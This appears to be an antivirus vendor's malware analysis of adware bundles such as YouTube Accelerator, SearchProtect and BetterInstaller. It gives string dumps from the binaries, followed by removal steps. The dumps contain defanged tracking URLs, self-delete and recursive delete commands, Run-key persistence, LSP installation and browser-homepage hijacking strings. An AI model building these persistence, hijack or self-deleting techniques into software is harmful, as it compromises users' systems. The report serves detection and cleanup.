hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

ProtectWindowsManager.exe_2136:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

WINHTTP.dll

SensApi.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÁ

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

? ?$?(?,?0?4?~?

5#505:5`5

=#='= =/=3=

;!;0;7;^;

<!<%<)<-<1<5<$=0=

9-92989?9

5 5$5(5,505

5 5$5(5,5054585

7$<(<,<0<4<8<<<@<

< <(<4<<<

3 3$3(3,30383<3

combase.dll

kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

advapi32.dll

\\.\PhysicalDrive%d

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1714

Windows SysTool.exe

biclient.exe_2844:

.text

`.rdata

@.data

.rsrc

@.reloc

PSShP

SSSSh

RegDeleteKeyExW

FtpCommandW

XXXXXXXXXXXX

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpOpenRequestW

InternetCrackUrlW

WININET.dll

PSAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

KERNEL32.dll

CreateDialogIndirectParamW

USER32.dll

GDI32.dll

COMDLG32.dll

CryptSetKeyParam

CryptImportKey

CryptDestroyKey

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyW

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

USERENV.dll

GetCPInfo

GetConsoleOutputCP

.?AUIHTMLOMWindowServices@@

.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@

'BetterInstaller.EXE'

Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

1"2-2:2]2

:!:&:0:>:~:

: <'<-<`<

{C85A8C97-E040-4924-8E1D-693560EE116E}

WAdvapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Mscoree.dll

OLEAUT32.DLL

%u kB

%u bytes

Range: bytes=%d-%d

Range: bytes=%d-

%d:d:d

%s - %s

Wwininet.dll

r%s.%d

"%s" %s

%s (%d)%s

*.TXT

%d.%d.%d %s %sbit

<memory>%d</memory>

%DOCUMENTS%

ÞSKTOP%

hXXp://installer.filebulldog.com

%s\Mozilla\Firefox\%s\prefs.js

%s\Mozilla\Firefox\profiles.ini

biDeleteRegistryKey

biGetExecutionArguments

biCreateRegistryKey

biExistRegistryKey

Better Installer(Mozilla)

%s/%s/%s/%s?v=%s&muid=%s

%s/downloader/%s/%s/%s?v=%s&muid=%s

Preparing %s...

ekernel32.dll

mscoree.dll

KERNEL32.DLL

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe

rSetup.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe

kerSetup.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

2.0.0.0

BetterInstaller.exe

ProtectService.exe_3776:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.1716

HPNotify.exe_1800:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

cmdshell.exe:972
BaofengUpdate.exe:932
BaofengUpdate.exe:3000
YTAHelper.exe:2860
ProtectWindowsManager.exe:2136
ProtectWindowsManager.exe:2796
YouTubeAcceleratorService.exe:2112
YouTubeAcceleratorService.exe:2392
YouTubeAcceleratorService.exe:3696
ins_postInst.exe:1836
ProtectService.exe:3636
ProtectService.exe:3776
jsdrv.exe:1688
biclient.exe:3444
biclient.exe:2192
wpm_v20.0.0.1714_0204.exe:2588
ins_yta.exe:4076
GLBD5F4.tmp:3948
setup.exe:2344
setup.exe:904
testlsp.exe:2936
STab_Down_6.0.6.8.exe:3144
WerFault.exe:1680
WerFault.exe:3044
ShopperPro.exe:3932
ins_shopperpro.exe:3484
%original file name%.exe:2108
HPNotify.exe:1800
regsvr32.exe:3612
regsvr32.exe:1996
regsvr32.exe:576
regsvr32.exe:2496
regsvr32.exe:2412
regsvr32.exe:3932
lspinst.exe:3972
lspinst.exe:3640
YTAHEL~1.EXE:2924
GLJD681.tmp:4044
DCytaiesmt_smtyc_setup.exe:472
spbiu.exe:3980
spbiu.exe:4036
wscript.exe:3480
XTab_v4.0.exe:4080
taskeng.exe:3736
ytaiesmt_smtyc_setup.exe:3048
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD42.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
